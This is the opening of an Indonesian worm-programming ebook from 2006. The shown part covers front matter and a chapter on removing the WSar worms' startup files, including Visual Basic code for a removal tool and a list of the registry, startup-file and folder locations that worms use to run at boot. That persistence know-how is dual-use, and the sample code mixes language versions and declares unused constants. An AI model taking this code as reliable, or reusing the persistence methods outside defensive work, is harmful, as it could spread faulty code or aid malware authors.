Computer Worm 2-eBook

213

Transcript of Computer Worm 2-eBook

Page 1: Computer Worm 2-eBook
Page 2: Computer Worm 2-eBook
Page 3: Computer Worm 2-eBook

Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.

ISBN 979-1090-02-5

Cetakan pertama : Juli 2006

Computer Worm 2 - Secret of Underground CodingHak Cipta © 2006 pada penulis

Ketentuan pidana pasal 72 UU No. 19 tahun 2002

1. Barang siapa dengan sengaja dan tanpa hak melakukan kegiatan sebagaimana dimaksud dalam pasal 2 ayat (1) atau pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp. 1.000.000 (satu juta rupiah) atau pidana penjara paling lama 7 (tujuh) tahun dan/atau denda paling banyak Rp. 5.000.000.000.00 (lima miliar rupiah).

2. Barang siapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1), dipi-dana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp. 500.000.000,00 (lima ratus juta rupiah)

Publisher JasakomWeb Site http://www.jasakom.comEmail [email protected]

Toko Online www.TokoMahal.com

Page 4: Computer Worm 2-eBook

Computer Worm 2Secret of Underground Coding

Versi eBooktanpa CD pendukung

Page 5: Computer Worm 2-eBook

Buku ini disertai dengan sebuah CD pendukung yang berisi film tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:

DEMOWAREVM Ware 55.9 MB

Virtual PC 17.1 MB

DeepFreeze 2.06 MB

ShadowUser 7.80 MB

ASPack 297 KB

UltraEdit 1.69 MB

FREEWAREA Squared HijackFree 497 KB

CXUPX 419 KB

Darmal’s Packer 730 KB

DOS 7.10 765 KB

DropFile Script Generator 21.5 KB

HHD Hex Editor 2.07 MB

Icon Sucker Std 658 KB

KillBox 67,5 KB

Petite 117 KB

Process Explorer 1.24 MB

Registrar Lite 2.28 MB

Resource Hacker 1.32 MB

UPX 1.25 163 KB

UPX Mutanter 38.9 KB

UPX Scrambler 17.5 KB

UPX Windows GUI 199 KB

I S I C D P E N D U K U N G

Page 6: Computer Worm 2-eBook

vJasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

KATA PENGANTAR

Seiring dengan pesatnya kemajuan teknologi informasi khususnya di-bidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code), suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse.

Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktifitas yang cukup signifikan di awal era millenium, pada tahun 2003 peng-guna komputer di Indonesia disibukan oleh sebuah worm lokal yang diperkirakan berhasil menginfeksi ribuan komputer di Indonesia, worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya se-perti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com. Bahkan pada saat buku ini ditulis aktifitas worm di Indonesia semakin meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin be-ragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data. Media penyebaran pun semakin canggih mulai dari disket, USB flash disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non materiil. Co

mpu

ter

Wor

m 2

- Se

cret

of U

nder

grou

nd C

odin

g

I S I C D P E N D U K U N G

Page 7: Computer Worm 2-eBook

viJasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Melanjutkan buku Computer Worm Seri ke-1 yang banyak mengung-kap teknik-teknik rahasia pembuatan worm komputer, maka pada seri ke-2 ini akan diberikan trik-trik untuk memerangi worm tersebut dengan cara membuat suatu program removal (yang biasanya disebut dengan istilah antivirus), program removal ini akan membersihkan file launcher dan file infector dengan beberapa metode sekaligus yang umumnya digunakan oleh antivirus-antivirus profesional, juga diser-takan teknik menggunakan definition file untuk menampung data signature suatu program removal. Agar pembaca lebih yakin dan pasti adanya perbedaan worm komputer dan virus komputer, buku ini juga memuat teknik pembuatan virus komputer untuk dibandingkan.

Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 – 98, dan alumni POLNES angkatan 98 – 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thank’s buat S’to yang sudah banyak membantu dalam proses pembentukan buku.

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain

untuk memeranginya."Com

puter Worm

2 - Secret of Underground Coding

Page 8: Computer Worm 2-eBook

viiJasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Daftar Isi

KATA PENGANTAR v

BAB 1 LAUNCHER FILE REMOVAL 11.1 WSAR.1 REMOVAL 12

1.1.1 ALGORITMA 12

1.1.2 PEMROGRAMAN 12

1.2 WSAR.2 REMOVAL 17

1.2.1 ALGORITMA 17

1.2.2 PEMROGRAMAN 18

1.3 WSAR.3 REMOVAL 21

1.3.1 ALGORITMA 21

1.3.2 PEMROGRAMAN 22

1.4 WSAR.4 REMOVAL 25

1.4.1 ALGORITMA 25

1.4.2 PEMROGRAMAN 25

1.5 WSAR.5 REMOVAL 29

1.5.1 ALGORITMA 29

1.5.2 PEMROGRAMAN 30

1.6 WSAR.6 REMOVAL 34

1.6.1 ALGORITMA 34

1.6.2 PEMROGRAMAN 35

1.7 WSAR.7 REMOVAL 39

1.7.1 ALGORITMA 39

1.7.2 PEMROGRAMAN 39

1.8 WSAR.8 REMOVAL 44

1.8.1 ALGORITMA 44

1.8.2 PEMROGRAMAN 44 Com

pute

r W

orm

2 -

Secr

et o

f Und

ergr

ound

Cod

ing

Page 9: Computer Worm 2-eBook

viiiJasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

1.9 WSAR.9 REMOVAL 49

1.9.1 ALGORITMA 49

1.9.2 PEMROGRAMAN 49

BAB 2 INFECTOR FILE REMOVAL 572.1 FILE NAME SCANNING 65

2.1.1 ALGORITMA 65

2.1.2 PEMROGRAMAN 65

2.1.3 SIGNATURE 72

2.2 STRING SCANNING 73

2.2.1 ALGORITMA 73

2.2.2 PEMROGRAMAN 73

2.2.3 SIGNATURE 78

2.3 CRC SCANNING 89

2.3.1 ALGORITMA 89

2.3.2 PEMROGRAMAN 89

2.3.3 SIGNATURE 95

BAB 3 DEFINITION FILE 1033.1 ALGORITMA 106

3.2 PEMROGRAMAN 106

3.2.1 FORM1 112

3.2.2 FORM2 116

3.2.3 FORM3 128

BAB 4 PEMROGRAMAN VIRUS 1434.1 MEMBUAT VIRUS 144

4.1.1 ALGORITMA 144

4.1.2 PEMROGRAMAN 144

4.2 MEMBUAT ANTI VIRUS 149

4.2.1 ALGORITMA 149

4.2.2 PEMROGRAMAN 150

Computer W

orm 2 - Secret of Underground Coding

Page 10: Computer Worm 2-eBook

ixJasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

BAB 5 KOMPRESI DENGAN UPX 1635.1 PERINTAH BARIS 165

5.2 VERSI GUI 167

5.3 PROTEKSI 169

BAB 6 WORM HUNTER TRAINER 1716.1 KEBUTUHAN SISTEM 172

6.2 INSTALASI 173

6.3 OPERASI DASAR WHT 176

6.3.1 MEMBUAT DISK INFECTOR 177

6.3.2 MEMBERIKAN IJIN PENGINFEKSIAN 178

6.3.3 MENYIMPAN FILE WORM SAMPLER 179

6.3.4 MENGEKSEKUSI WORM SAMPLER 179

6.3.5 MELUMPUHKAN WORM SAMPLER 179

6.3.6 MEMBERSIHKAN SISTEM 180

6.4 SECRET SAMPLER 180

6.5 DEINSTALASI 181

BAB 7 PENUTUP 183

LAMPIRAN 185

REFERENSI 194

Com

pute

r W

orm

2 -

Secr

et o

f Und

ergr

ound

Cod

ing

Page 11: Computer Worm 2-eBook

xJasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Computer W

orm 2 - Secret of Underground Coding

Page 12: Computer Worm 2-eBook

1Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

BAB 1LAUNCHER FILE REMOVAL

Kenapa bab ini ada?

Selesai dengan pemrograman worm, maka selanjutnya penulis akan memberikan trik untuk memusnahkan worm-worm tersebut. Untuk membuat suatu program removal sedikitnya kita harus membuat dua rutin utama yaitu rutin untuk mematahkan serangan file launcher, dan rutin untuk membasmi file infector. Bab ini akan menjelaskan trik untuk memberantas file launcher dari WSar.1 hingga WSar.9, namun jika Anda sudah cukup memahami isi dari buku pertama, penulis kira seharusnya Anda sudah tidak akan terlalu mengalami kesulitan untuk membuat suatu program removal dari worm yang Anda buat sendiri. Siapa tau, Anda bahkan bisa mendirikan perusahaan Antivirus dan Antiworm lokal sendiri bukan ?

Page 13: Computer Worm 2-eBook

2Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Seiring dengan pesatnya perkembangan worm lokal di Indone-sia, beberapa programmer yang umumnya adalah mahasiswa ikut berpartisipasi memberantas perkembangan worm tersebut

dengan mengembangkan berbagai program removal. Walaupun pro-grammer-programmer ini kebanyakan bekerja secara sendiri-sendiri tetapi program removal yang dihasilkan cukup baik untuk memberan-tas worm lokal tersebut.

Selain itu banyak sekali program removal profesional yang beredar, yang biasanya kita sebut dengan istilah antivirus. Program removal profesional ini walaupun disebut sebagai antivirus tetapi umumnya adalah program removal untuk beberapa jenis malcode sekaligus, tidak hanya virus tetapi juga worm, trojan horse, spyware dan malicious tool lainnya. Program antivirus tersebut antara lain:

1. aVast! AntiVirus2. AVG Anti-Virus3. BitDefender Antivirus4. F-Secure Anti-Virus5. McAfee VirusScan (terbundel dengan aplikasi McAfee Internet

Security)6. Norman Virus Control7. Norton AntiVirus8. Panda Antivirus9. Symantec AntiVirus10. Trend Micro PC Cillin (terbundel dengan aplikasi Trend Micro

Internet Security).

Program removal adalah suatu program yang dirancang untuk mem-bersihkan suatu malcode tertentu dan umumnya juga mengembalikan perubahan yang disebabkan oleh malcode tersebut.

Untuk mengetahui ada tidaknya worm komputer pada suatu system komputer adalah dengan menginstal program antivirus dan melaku-kan full scanning, namun untuk mengetahui keberadaan worm yang belum terdeteksi oleh program antivirus, maka cara yang termudah adalah mengamati gejala abnormal yang muncul saat mengoperasikan komputer.

Page 14: Computer Worm 2-eBook

3Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Gejala-gejala abnormal antara lain:

1. System komputer menjadi lambat, karena tingkat penggunaan pro-cessor dan memory yang besar. Biasanya system akan menampilkan sebuah kotak pesan "Not Enough Memory" atau "Low Memory", bahkan system bisa secara tiba-tiba crash/hang

2. Disk drive terakses secara berkala dalam waktu yang singkat, tanpa adanya instruksi oleh user

3. Konfigurasi berubah tanpa sepengetahuan user, seperti konfigurasi wallpaper, icon, format huruf, waktu, nama user dan konfigurasi lainnya

4. Pengaksesan ke aplikasi tertentu tidak bisa dilakukan, seperti aplikasi Registry Editor, System Configuration Utility, Windows Task Manager, Display Properties dan lainnya

5. Kapasitas disket, harddisk atau media penyimpanan lainnya tiba-tiba bertambah atau berkurang tanpa sebab yang jelas. Hal ini biasanya selalu digunakan worm untuk membuat salinan dirinya ke disket. Anda cukup memasukan sebuah disket ke disk drive dan perhatikan perubahan kapasitas disket serta jumlah file yang ada

6. Prilaku yang tidak lazim pada system komputer, seperti hilang-nya pointer mouse, hilangnya tombol Startmenu, restart dengan sendirinya, atau memunculkan teks/gambar/suara aneh lainnya

7. System tiba-tiba mengeksekusi program tertentu, seperti aplikasi internet browser, aplikasi e-mail atau bahkan program uninstall untuk aplikasi tertentu

8. File tiba-tiba rusak atau hilang, seperti file dokumen Microsoft Word, file dokumen Microsoft Excel, file program Registry Editor dan lain-lain

9. Sistem operasi tidak dapat dioperasikan. Hal ini biasanya disebabkan karena terhapusnya sebagian file system, konfigurasi system yang salah, atau saat sistem operasi startup worm kemudian mematikan kembali sistem operasi tersebut.

Tahap pembersihan file launcher adalah tahap pembersihan yang dilakukan terhadap file utama worm serta file pembantu lain yang berada pada system dan memory komputer. Pembersihan terhadap file launcher ini harus dilakukan pertama kali, terlebih untuk file launcher yang sedang terproses, karena file ini umumnya menjaga agar worm tetap eksis pada suatu system komputer.

Page 15: Computer Worm 2-eBook

4Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Untuk mengetahui letak file launcher ini, cara yang paling mudah dilakukan adalah memeriksa metode launcher yang umumnya digu-nakan worm agar tereksekusi setiap Windows startup, adapun metode launcher tersebut antara lain:

1. Konfigurasi Registry. Saat Windows startup system akan mengek-sekusi setiap program yang terdaftar pada key Run, RunOnce, RunOnceEx, RunServices dan RunServicesOnce. Key registry ini terdapat pada hive HKCU (hive key current user) dan HKLM (hive key local machine).

Metode launcher ini paling banyak digunakan oleh worm lokal, sebagai contoh worm dasar yang menggunakan metode ini adalah WSar.2, WSar.5, WSar.7, WSar.8 dan WSar.9. Selain itu ada juga yang memanfaatkan ekstensi file tertentu (Shell Spawning) sebagai metode launcher, contohnya adalah WSar.6, metode ini juga me-manfaatkan konfigurasi registry

2. Konfigurasi file startup. Saat Windows startup system juga akan mengeksekusi file tertentu yang ada pada konfigurasi file seperti autoexec.bat, win.ini, system.ini dan wininit.ini, contohnya dapat Anda temukan pada WSar.3

3. Direktori StartUp. Lokasi default direktori StartUp berbeda-beda pada sistem operasi Windows, tetapi Anda bisa mendapatkan lokasi default direktori tersebut pada data registry: HKEY_CUR-RENT_USER\Software\Microsoft\Windows\CurrentVersion\Ex-plorer\User Shell Folders, dengan value "Startup", contohnya dapat Anda temukan pada WSar.1 dan WSar.4

4. Pemanfaatan aplikasi lain. Umumnya worm memanfaatkan aplikasi terjadwal seperti ScreenSaver dan Scheduled Task yang dapat men-jalankan file program, metode launcher ini paling sedikit digunakan oleh worm writer.

Untuk memeriksa setiap metode launcher tersebut Anda bisa secara manual membuka aplikasi Registry Editor, file startup, direktori StartUp dan aplikasi schedule, namun untuk lebih memudahkan dalam pemeriksaan, Anda bisa menggunakan aplikasi A Squared HijackFree yang cukup lengkap dalam mengumpulkan metode launcher ini.

Page 16: Computer Worm 2-eBook

5Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Selain itu software A Squared HijackFree ini juga mampu menampil-kan aplikasi yang sedang terproses.

Tampilan aplikasi A Squared Hijack-Free setelah ber-hasil dieksekusi:

Setelah mengetahui letak dari file launcher worm, tugas selanjutnya adalah menghentikan proses dari file launcher tersebut jika ter-proses.

Untuk versi sistem operasi Win-dows 2000 atau versi yang lebih tinggi, hal ini dapat kita lakukan dengan mengeksekusi aplikasi Windows Task Manager dengan langkah-langkah sebagai berikut:

1. Tekan kombinasi tombol Ctrl + Alt + Delete, atau kombinasi tombol Ctrl + Shift + Esc, atau klik kanan pada taskbar kemu-dian pilih opsi Task Manager.

Page 17: Computer Worm 2-eBook

6Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

2. Klik Tab Processes, pastikan CheckBox Show processes from all users terseleksi dengan memberinya tanda checklist

3. Klik kanan pada nama proses worm, kemudian pilih End Processes Tree.

Worm yang cerdik tidak akan membiarkan Anda mengakses aplikasi ini dengan mudah, untuk itu Anda dapat menggunakan aplikasi lain seperti aplikasi Process Explorer yang memiliki kesamaan fungsi.

Tampilan aplikasi Process Explorer setelah berhasil dieksekusi

Demikian pula dengan aplikasi Registry Editor, kebanyakan worm lokal memblokir aplikasi ini dengan memanipulasi suatu nilai registry yang tidak mengijinkan user menggunakan fasilitas ini, atau worm memblokir aplikasi tersebut dengan cara langsung menutup aplikasi atau men-disable jendela aplikasi tersebut.

Untuk itu Anda dapat menggunakan aplikasi pengganti lain seperti aplikasi Registrar Lite yang tidak akan terpengaruh dengan manipulasi registry sehubungan dengan usaha pemblokiran tersebut.

Page 18: Computer Worm 2-eBook

7Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Tampilan aplikasi Registrar Lite setelah berhasil dieksekusi

Langkah terakhir adalah menghapus file launcher tersebut dan meng-hapus konfigurasi worm sehubungan dengan metode launcher yang digunakan, baik pada konfigurasi registry, file startup atau yang lain-nya.

Selanjutnya akan diberikan contoh pembersihan file launcher untuk Worm Dasar yang telah diotomasikan menjadi suatu program removal, namun sebelumnya berikut ini adalah project default WSar Removal yang akan digunakan untuk setiap contoh program removal:

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'SimpleWormRemover’, dan Application Title menjadi 'Simple Worm Remover’, Tambahkan 3 buah object Label, 1 buah object Check-Box, 2 buah object CommandButton dan 1 buah object Timer, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Page 19: Computer Worm 2-eBook

8Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Properti object Form1

Jenis Nilai KeteranganName FrmRemoval Mengatur nama form dari menjadi

FrmRemoval

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

BorderStyle Fixed Single Mengatur jenis border form menjadi tetap (fixed)

Caption Simple Worm Remover

Mengatur titel yang akan ditampil-kan pada form

Height 2040 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, FrmRemoval menggunakan icon sun.ico

MaxButton False Tidak menampilkan tombol maxi-mize

MinButton False Tidak menampilkan tombol mini-mize

StartUpPosition 2 - Center Screen Menempatkan jendela form ditengah layar pada saat load

Width 6105 Mengatur lebar form

Properti object Label1

Jenis Nilai KeteranganName lblTitle1 Mengatur nama Label menjadi lblTitle1

Allignment 2 - Center Mengatur jenis perataan menjadi rata tengah

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption WSar Launcher Removal

Mengatur caption Label1 menjadi WSar Launcher Removal

Page 20: Computer Worm 2-eBook

9Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Font Font: MS San SerifFont Style: BoldSize: 24

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 24

ForeColor &H00808080& Mengatur warna huruf menjadi abu-abu

Height 615 Mengatur tinggi Label

Left 150 Mengatur jarak Label dari kiri

Top 150 Mengatur jarak Label dari atas

Width 5800 Mengatur lebar Label

Properti object Label2

Jenis Nilai KeteranganName lblTitle2 Mengatur nama Label menjadi lblTitle2

Allignment 2 - Center Mengatur jenis perataan menjadi rata tengah

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption WSar Launcher Removal

Mengatur caption Label menjadi WSar Launcher Removal

Font Font: MS San SerifFont Style: BoldSize: 24

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 24

ForeColor &H00FFFFFF& Mengatur warna huruf menjadi putih

Height 615 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 120 Mengatur jarak Label dari atas

Width 5800 Mengatur lebar Label

Page 21: Computer Worm 2-eBook

10Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Properti object Label3

Jenis Nilai KeteranganName lblStatus Mengatur nama Label menjadi lblStatus

BackColor &H00000000& Mengatur warna latar belakang menjadi hitam

Caption Kosongkan caption dengan menghapus caption default Label3

ForeColor &H0000FFFF& Mengatur warna huruf menjadi kuning

Height 275 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 720 Mengatur jarak Label dari atas

Width 5775 Mengatur lebar Label

Properti object Check1

Jenis Nilai KeteranganName chkShield Mengatur nama CheckBox menjadi

chkShield

BackColor &H00E0E0E0& Mengatur warna latar belakang menjadi abu-abu muda

Caption Shield Mengatur caption CheckBox menjadi Shield

Height 495 Mengatur tinggi CheckBox

Left 120 Mengatur jarak CheckBox dari kiri

Top 1080 Mengatur jarak CheckBox dari atas

Width 1695 Mengatur lebar CheckBox

Properti object Command1

Jenis Nilai KeteranganName cmdProcess Mengatur nama Command Button menjadi

cmdProcess

Caption Process Mengatur caption menjadi Process

Page 22: Computer Worm 2-eBook

11Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Height 375 Mengatur tinggi Command Button

Left 4920 Mengatur jarak Command Button dari kiri

Top 1080 Mengatur jarak Command Button dari atas

Width 975 Mengatur lebar Command Button

Properti object Command2

Jenis Nilai KeteranganName cmdTray Mengatur nama Command Button menjadi cmdTray

Caption Tray Mengatur caption Command Button menjadi Tray

Height 375 Mengatur tinggi Command Button

Left 3945 Mengatur jarak Command Button dari kiri

Top 1080 Mengatur jarak Command Button dari atas

Width 975 Mengatur lebar Command Button

Properti object Timer1

Jenis Nilai KeteranganName tmrShield Mengatur nama Timer menjadi tmrShield

Enable False Pastikan Timer tidak aktif saat form di-load

Interval 500 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.5 detik

Berikut ini adalah tampilan default WSar Removal saat form di-load:

Page 23: Computer Worm 2-eBook

12Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

1.1 WSAR.1 REMOVALProgram removal ini berfungsi untuk membersihkan file launcher WSar.1 dari system komputer.

1.1.1 ALGORITMA1. Melakukan pemeriksaan terhadap eksistensi WSar.1 pada direktori

StartUp dengan nama file 'System File.exe’2. Jika file launcher WSar.1 ditemukan, maka akan menghentikan

proses file launcher kemudian menghapus file tersebut3. Program removal mampu melakukan pemeriksaan secara ber-

kesinambungan dan menampilkan icon pada system tray.

1.1.2 PEMROGRAMANTambahkan 2 buah Module kemudian atur properti untuk masing-masing module sebagai berikut:

Properti Module1

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Properti Module2

Jenis Nilai KeteranganName mdlTray Mengatur nama module menjadi mdlTray

Untuk module mdlWinExit Anda bisa menggunakan module yang sama pada WSar.6, untuk module mdlTray silahkan Anda ketik kode program berikut ini:

Page 24: Computer Worm 2-eBook

13Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Option Explicit On

Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Any) As LongConst LB_SETHORIZONTALEXTENT = &H194Type NOTIFYICONDATA cbSize As Long hwnd As Long UID As Long uFlags As Long uCallBackmessage As Long hIcon As Long szTip As String * 64End Type

Const NIM_ADD = &H0Const NIM_MODIFY = &H1Const NIM_DELETE = &H2Const WM_MOUSEMOVE = &H200Const NIF_MESSAGE = &H1Const NIF_ICON = &H2Const NIF_TIP = &H4Const WM_LBUTTONDBLCLK = &H203Const WM_LBUTTONDOWN = &H201Const WM_LBUTTONUP = &H202Const WM_RBUTTONDBLCLK = &H206Const WM_RBUTTONDOWN = &H204Const WM_RBUTTONUP = &H205

Declare Function Shell_NotifyIcon Lib "shell32" Alias _ "Shell_NotifyIconA" (ByVal dwMessage As Long, ByVal pnid As _ NOTIFYICONDATA) As Boolean

Global nid As NOTIFYICONDATADim arrLongConversion(4) As LongDim arrSplit64(63) As ByteDim lngTrack As LongConst OFFSET_4 = 4294967296.0#, MAXINT_4 = 2147483647, _ S11 = 7, S12 = 12, S13 = 17, S14 = 22, S21 = 5, S22 = 9, _ S23 = 14, S24 = 20, S31 = 4, S32 = 11, S33 = 16, S34 = 23, _ S41 = 6, S42 = 10, S43 = 15, S44 = 21

Sub AddToTray(ByVal TrayIcon, ByVal TrayText As String, ByVal _ TrayForm As Form) nid.cbSize = Len(nid) nid.hwnd = TrayForm.hwnd nid.UID = vbNull nid.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE nid.uCallBackmessage = WM_MOUSEMOVE nid.hIcon = TrayIcon nid.szTip = TrayText & vbNullChar Shell_NotifyIcon(NIM_ADD, nid) TrayForm.Hide()End Sub

Page 25: Computer Worm 2-eBook

14Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Sub ModifyTray(ByVal TrayIcon, ByVal TrayText As String, ByVal _ TrayForm As Form) nid.cbSize = Len(nid) nid.hwnd = TrayForm.hwnd nid.UID = vbNull nid.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE nid.uCallBackmessage = WM_MOUSEMOVE nid.hIcon = TrayIcon nid.szTip = TrayText & vbNullChar Shell_NotifyIcon(NIM_MODIFY, nid)End Sub

Function RespondToTray(ByVal x As Single) On Error Resume Next RespondToTray = 0 Dim msg As Long Dim sFilter As String If frmRemoval.ScaleMode <> 3 Then msg = x / _ Screen.TwipsPerPixelX Else : msg = x Select Case msg Case WM_RBUTTONUP RespondToTray = 1 Case WM_LBUTTONUP RespondToTray = 2 End SelectEnd Function

Sub ShowFormAgain(ByVal TrayForm As Form) TrayForm.Show()End Sub

Sub RemoveFromTray() Shell_NotifyIcon(NIM_DELETE, nid)End Sub

Ketik kode program berikut ini pada object frmRemoval:

'WSar.1 Removal by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() lblStatus.Caption = "WSar.1 Removal - Ready ..."End Sub

Private Sub chkShield_Click() If chkShield.Value = Checked Then tmrShield.Enabled = True cmdProcess.Enabled = False lblStatus.Caption = "Shield Enabled - Monitoring Worm Activity" Else tmrShield.Enabled = False lblStatus.ForeColor = &HFFFF& cmdProcess.Enabled = True lblStatus.Caption = "Shield Disabled - Waiting For Instruction" End IfEnd Sub

Page 26: Computer Worm 2-eBook

15Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

1. L

auch

er F

ile R

emov

al

Private Sub cmdProcess_Click() CheckWorm()End Sub

Private Sub cmdTray_Click() If chkShield.Value <> Checked Then If MsgBox("Shield is disabled, enable it now?", vbYesNo + _ vbInformation) = vbYes Then chkShield.Value = Checked End If End If If chkShield.Value = Checked Then AddToTray(Me.Icon, "WSar Removal - Shield Enable", Me) Else AddToTray(Me.Icon, "WSar Removal - Shield Disable", Me) End IfEnd Sub

Private Sub form_MouseMove(ByVal Button As Integer, ByVal _Shift As Integer, ByVal x As Single, ByVal Y As Single) If RespondToTray(x) > 0 Then ShowFormAgain(Me) RemoveFromTray() End IfEnd Sub

Private Sub tmrShield_Timer() If lblStatus.ForeColor = &HFFFF& Then lblStatus.ForeColor = &H0& Else lblStatus.ForeColor = &HFFFF& End If CheckWorm()End Sub

Private Sub CheckWorm() If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) <> 0 Then RemoveWorm() Else If chkShield.Value <> Checked Then MsgBox("WSar.1 Not Found", vbExclamation) End If End IfEnd Sub

Private Sub RemoveWorm() On Error Resume Next WinExit("System File.exe") MsgBox("WSar.1 found! And will be removed", vbExclamation + _ vbSystemModal) Kill("C:\WINDOWS\Start Menu\Programs\StartUp\System File.exe") If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) <> 0 Then MsgBox("WSar.1 can not removed", vbCritical) chkShield.Value = Unchecked Else MsgBox("WSar.1 succesfully removed", vbExclamation) End IfEnd Sub

Page 27: Computer Worm 2-eBook

16Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 1. Laucher File R

emoval

Berikut penjelasan tentang kode program, dan untuk selanjutnya procedure yang telah dijelaskan tidak diberikan lagi, kecuali beberapa bagian yang menurut penulis perlu untuk diulang kembali.

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur caption pada lblStatus menjadi "WSar.1 Removal - Ready ..."

Procedure chkShield_Click akan dijalankan saat user mengklik CheckBox chkShield pada form, kemudian jika CheckBox chkShield ter-check maka mengatur nilai properti Enabled pada tmrShield menjadi true, ni-lai properti Enabled pada cmdProcess menjadi false dan mengatur nilai caption lblStatus menjadi "Shield Enabled - Monitoring Worm Activity".

Sebaliknya jika CheckBox chkShield tidak ter-check maka mengatur ni-lai properti Enabled pada tmrShield menjadi false, nilai ForeColor pada lblStatus menjadi &HFFFF& (warna kuning), nilai properti Enabled pada cmdProcess menjadi true dan mengatur nilai caption lblStatus menjadi "Shield Disabled - Waiting For Instruction".

Procedure cmdProcess_Click akan dijalankan saat user mengklik tombol Process. Secara sederhana procedure ini hanya memanggil procedure CheckWorm. Tujuan penulis membuat procedure ini adalah agar mudah untuk dikembangkan lagi.

